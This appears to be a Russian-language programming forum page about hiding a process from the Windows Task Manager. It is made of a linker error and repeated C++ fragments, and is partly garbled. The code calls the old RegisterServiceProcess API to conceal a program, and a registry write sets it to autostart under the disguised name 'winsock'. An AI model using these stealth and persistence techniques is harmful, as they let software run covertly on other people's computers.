Скрыть процесс в диспетчере задач

[Linker Error] Unresolved external 'CHideProcess::HideProcess()' referenced from E:\SYSTEM47\UNIT5.OBJ

CHideProcess HP;
//
...
//
int HP;

#include <windows.h>
#pragma hdrstop
 
 
typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);
bool RSP(double p1, double p2)
{
  PREGISTERSERVICEPROCESS rsp;
  HINSTANCE hK32;
  bool Rc=false;
  hK32=GetModuleHandle("kernel32.dll");
  if(hK32!=NULL) {
    rsp=(PREGISTERSERVICEPROCESS) GetProcAddress(hK32, "RegisterServiceProcess");
    if(rsp!=NULL) {
      Rc=true;
      rsp(p1,p2);
    }
    FreeLibrary(hK32);
  }
  return Rc;
}
//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR cLog, int)
{
  if (!RSP(NULL,1))
    return 0;
  tagMSG *Msg = NULL;
  void *HInstance = NULL;
  while (GetMessage(Msg,HInstance,0,0)) {
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  }
 
  return 0;
}

  Reg->OpenKey("\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",true);
  Reg->WriteString("winsock",ParamStr(0) + ' ' + AnsiString(cLog));

typedef DWORD (WINAPI *PREGISTERSERVICEPROCESS)(DWORD,DWORD);

//---------------------------------------------------------------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR cLog, int)
{
  if (!RSP(NULL,1))
    return 0;
  tagMSG *Msg = NULL;
  void *HInstance = NULL;
  while (GetMessage(Msg,HInstance,0,0)) {
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  }
 
  return 0;
}